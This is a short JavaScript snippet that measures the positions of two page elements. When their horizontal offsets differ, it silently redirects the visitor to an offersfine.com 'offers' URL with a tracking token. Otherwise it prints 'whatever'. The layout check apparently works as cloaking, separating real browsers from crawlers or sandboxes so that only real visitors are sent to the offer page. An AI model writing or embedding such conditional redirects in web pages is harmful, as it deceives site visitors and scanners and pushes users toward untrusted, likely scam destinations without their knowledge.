var D=document;

function AbsPos(O, Parent){
var X=0, Y=0, Next, D=document;

Next=O; if (Parent==null) Parent=D;
while (Next!=null && Next!==Parent){
Y+=Next.offsetTop; X+=Next.offsetLeft; Next=Next.offsetParent;
}
return [X, Y];
}

var first = AbsPos(D.getElementById('first'));

var second = AbsPos(D.getElementById('second'));

if (first[0] != second[0]) {
document.location.href = "http://www.offersfine.com/rl_cmprwm.php?ct=ZSzPttb5fGjag8jGL.x9FZnTGaOcltOYrzAjy5bcD.8-";
}

else {
document.write('whatever');
}